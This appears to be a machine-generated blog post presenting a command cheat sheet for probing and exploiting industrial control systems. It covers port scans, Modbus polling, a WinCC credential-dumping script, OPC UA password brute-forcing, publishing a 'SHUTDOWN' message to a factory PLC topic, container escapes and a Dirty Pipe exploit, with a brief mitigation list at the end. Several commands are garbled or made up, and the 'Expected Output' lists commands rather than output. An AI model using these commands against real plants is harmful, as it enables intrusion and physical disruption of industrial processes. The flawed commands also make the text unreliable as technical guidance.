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Industrial automation systems like SCADA, HMI, and IoT/OT platforms (Ignition, WinCC, Siemens) are critical for modern industries. Below, we explore key tools, commands, and techniques for securing and exploiting these systems.
You Should Know:
1. SCADA & HMI Security Testing
Many SCADA systems run on outdated Windows or embedded Linux. Use these commands to probe vulnerabilities:
Linux-Based SCADA (Ignition, Dockerized HMI)
Scan open ports on a target SCADA system nmap -sV -p 80,443,502,102,4840 -T4 <TARGET_IP> Check for Modbus (port 502) vulnerabilities mbpoll -a 1 -r 1 -c 10 -t 4 <TARGET_IP> Check Docker/Podman containers (common in IIoT) docker ps -a podman inspect <CONTAINER_ID> | grep -i "vulnerability"
Windows-Based SCADA (WinCC, Siemens)
Check for weak SMB configurations nmap --script smb-vuln-ms17-010 -p 445 <TARGET_IP> Dump WinCC credentials (if vulnerable) python3 wincc-exploit.py --target <TARGET_IP> --port 1433
2. Exploiting ISA-95 & Unified Namespace (UNS)
Unified Namespace (UNS) integrates IT/OT systems, often exposing MQTT, OPC UA, and REST APIs.
MQTT Enumeration (Common in UNS)
List MQTT topics (if authentication is weak) mosquitto_sub -h <BROKER_IP> -t "" -v Publish malicious payload mosquitto_pub -h <BROKER_IP> -t "factory/plc/control" -m "SHUTDOWN"
OPC UA Security Testing
Check OPC UA endpoints python3 opcua-scanner.py --host <TARGET_IP> --port 4840 Bruteforce weak OPC UA credentials hydra -l admin -P rockyou.txt opcua://<TARGET_IP>:4840
- CI/CD & Container Attacks (Docker, Portainer, Podman)
Many industrial systems now use containers for deployment.
Escaping Docker Containers
Check for privileged container escape docker run --rm -it --privileged ubuntu bash cat /proc/self/status | grep CapEff Exploit dirty pipe (CVE-2022-0847) ./dirty-pipe.sh
Portainer Exploitation
If Portainer API is exposed (default port 9000) curl -X GET http://<TARGET_IP>:9000/api/endpoints
What Undercode Say
Industrial automation systems are shifting toward IT/OT convergence, increasing attack surfaces. Key risks:
– Weak authentication (MQTT, OPC UA, WinCC).
– Container escapes (Docker, Podman).
– Unsecured UNS namespaces (MQTT topic hijacking).
Mitigation:
- Use network segmentation (VLANs, firewalls).
- Enforce MQTT TLS encryption.
- Patch Windows SCADA systems (MS17-010).
Prediction
By 2026, AI-powered ICS attacks will exploit UNS and autonomous PLCs, leading to physical sabotage.
Expected Output:
nmap -sV -p 502,4840,9000 192.168.1.100 mosquitto_sub -h 10.0.0.5 -t "factory/" -v
IT/Security Reporter URL:
Reported By: UgcPost 7335249333291823105 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
